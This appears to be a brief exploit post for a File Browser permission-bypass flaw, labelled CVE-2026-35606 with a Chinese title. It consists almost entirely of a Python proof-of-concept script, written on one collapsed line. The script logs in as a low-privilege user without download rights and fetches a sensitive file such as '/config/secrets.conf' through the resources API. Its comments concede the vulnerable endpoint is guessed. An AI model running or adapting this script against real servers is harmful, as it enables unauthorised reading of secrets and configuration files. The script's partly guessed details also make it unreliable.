CVE-2026-35606 File Browser权限绕导致信息泄露

import requests # Target configuration target_url = "http://example.com" username = "low_priv_user" password = "password" # 1. Authenticate with a user that has 'download: false' permission session = requests.Session() login_payload = { "username": username, "password": password } print("[+] Logging in...") login_resp = session.post(f"{target_url}/api/login", json=login_payload) if login_resp.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # 2. Exploit the vulnerability by requesting a file via the vulnerable endpoint # The specific endpoint triggering resourceGetHandler might vary based on routing, # but typically involves requesting file resources directly. target_file = "/config/secrets.conf" # Example sensitive file # Construct the exploit request. # Note: The endpoint might be /api/resources/ or similar where resourceGetHandler is active. exploit_url = f"{target_url}/api/resources/{target_file}" print(f"[+] Attempting to read file: {target_file}") resp = session.get(exploit_url) if resp.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] File content:") print(resp.text) else: print(f"[-] Exploit failed or file not found. Status code: {resp.status_code}")